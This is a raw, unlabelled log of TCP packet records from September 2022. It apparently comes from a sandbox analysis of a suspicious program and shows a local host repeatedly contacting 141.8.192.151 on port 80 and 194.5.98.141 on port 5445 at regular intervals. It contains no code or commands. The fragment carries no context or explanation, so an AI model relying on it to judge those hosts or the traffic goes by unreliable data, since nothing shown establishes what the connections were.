                                        Sep 20, 2022 03:41:03.980024099 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.980062962 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.980077982 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.980108023 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.990649939 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:03.990755081 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:04.041409969 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041529894 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041587114 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041625023 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041663885 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041702986 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041734934 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:04.041740894 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041764975 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:04.041779995 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041810989 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:04.041817904 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041831970 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:04.041857004 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041899920 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041937113 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041964054 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:04.041977882 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:04.041982889 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:04.086208105 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:04.171648026 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:08.694974899 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:08.695674896 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:08.874773026 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:13.726366997 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:13.727122068 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:13.936774015 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:14.052727938 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:14.052898884 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:14.062514067 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:14.107434034 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:14.169070005 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:14.169384956 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:14.224276066 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:14.374867916 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:14.375149965 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:14.562216997 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:14.607434034 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.668416023 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.668520927 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.676522017 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.737426996 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.738178015 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.738234997 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.738272905 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.738310099 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.738333941 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.738348007 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.738360882 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.738385916 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.738425016 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.738446951 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.738465071 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.738502026 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.738517046 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.738539934 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.738590956 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.740921021 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:14.799470901 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799524069 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799561977 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799602032 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799599886 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.799642086 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799681902 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799691916 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.799721003 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799752951 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.799773932 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799815893 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799851894 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799865007 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.799890995 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799910069 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.799928904 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.799966097 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.800004959 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.800025940 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.800040960 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.800079107 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.800079107 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.800117970 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.800137997 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.800156116 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.800194025 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.800215960 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.800230980 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.800293922 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.860956907 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861011982 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861049891 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861088037 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861119032 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.861124992 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861164093 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861191988 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.861202955 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861239910 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861279011 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861300945 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.861318111 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861355066 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861387014 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.861392975 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861396074 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.861432076 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:14.861459970 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:14.979938984 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:15.062298059 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:18.743690968 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:18.743737936 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:18.744374990 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:18.744399071 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:19.062290907 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:19.062335968 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:20.495712042 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:20.611630917 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:20.611757994 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:20.669015884 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:20.728677988 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:20.728924036 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:20.785062075 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:20.994976997 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:21.062159061 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:21.062385082 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:21.339482069 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.374897003 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:21.403688908 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.403800964 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.431153059 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.495161057 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.495768070 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.495812893 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.495853901 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.495893002 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.495898962 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.495929003 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.495955944 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.495995045 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.496023893 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.496056080 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.496062994 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.496104956 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.496126890 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.496143103 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.496196985 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.498595953 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:21.560338974 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560399055 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560441971 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560482025 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560523987 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560522079 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.560558081 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.560563087 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560602903 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560630083 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.560642004 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560681105 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560723066 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560746908 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.560760975 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560777903 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.560801983 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560842037 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560854912 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.560878992 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560918093 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560940027 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.560957909 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.560996056 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.561016083 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.561034918 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.561074018 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.561095953 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.561114073 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.561171055 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.625217915 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625277996 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625317097 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625356913 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625395060 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625407934 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.625437975 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625438929 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.625478983 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625494003 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.625518084 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625557899 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625571012 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.625597000 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625634909 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625647068 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.625674009 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625713110 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:21.625735044 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:21.671571970 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:21.682614088 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:23.741192102 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:23.741238117 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:23.741286993 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:23.741847038 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:23.742501974 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:23.818459034 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:24.062398911 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:24.062443018 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:24.442393064 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:24.672768116 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:25.635091066 CEST8049715141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:25.635248899 CEST4971580192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:25.635267019 CEST8049717141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:25.635387897 CEST4971780192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:25.636182070 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:25.636262894 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:28.756136894 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:28.756181955 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:28.756211996 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:28.808131933 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:28.812155008 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:28.812170029 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:28.942004919 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:28.942593098 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:28.944835901 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:29.171549082 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:29.171593904 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:29.171720028 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:33.777693987 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:33.777739048 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:33.777769089 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:33.778336048 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:33.778366089 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:33.778985023 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:34.062185049 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:34.062257051 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:34.062285900 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:38.776241064 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:38.776284933 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:38.776313066 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:38.777415037 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:38.778395891 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:38.778920889 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:39.062629938 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:39.062676907 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:39.062706947 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:43.784039974 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:43.784269094 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:43.784663916 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:43.785495043 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:43.785562038 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:43.786647081 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:44.062305927 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:44.062355042 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:44.062386036 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:48.782968044 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:48.783052921 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:48.783071041 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:48.783760071 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:48.784223080 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:48.784324884 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:49.062267065 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:49.062351942 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:49.062371016 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:53.807796955 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:53.807849884 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:53.807877064 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:53.808473110 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:53.808506012 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:53.808978081 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:54.063241959 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:54.063282967 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:54.063307047 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:58.824501038 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:58.824547052 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:58.824568033 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:58.840380907 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:58.840975046 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:58.841523886 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:59.062232018 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:59.062320948 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:59.062350988 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:03.890836954 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:03.891062021 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:03.891256094 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:03.914988995 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:03.915555000 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:03.916038990 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:04.171720028 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:04.171799898 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:04.171828032 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:08.916215897 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:08.916261911 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:08.916291952 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:08.916842937 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:08.917253971 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:08.917721033 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:09.171782017 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:09.171818018 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:09.171837091 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:13.907258987 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:13.907295942 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:13.907423019 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:13.907968044 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:13.908905983 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:13.909468889 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:14.171854973 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:14.171930075 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:14.171957970 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:18.991071939 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:18.991235971 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:18.991270065 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:18.991787910 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:18.991945028 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:18.992332935 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:19.171590090 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:19.171744108 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:19.171777010 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:24.004776001 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:24.005037069 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:24.005148888 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:24.006577015 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:24.007087946 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:24.007121086 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:24.171675920 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:24.171720982 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:24.171755075 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:29.021749973 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:29.021924973 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:29.021955013 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:29.023189068 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:29.023217916 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:29.024261951 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:29.375046968 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:29.375092030 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:29.375111103 CEST544549710194.5.98.141192.168.2.3
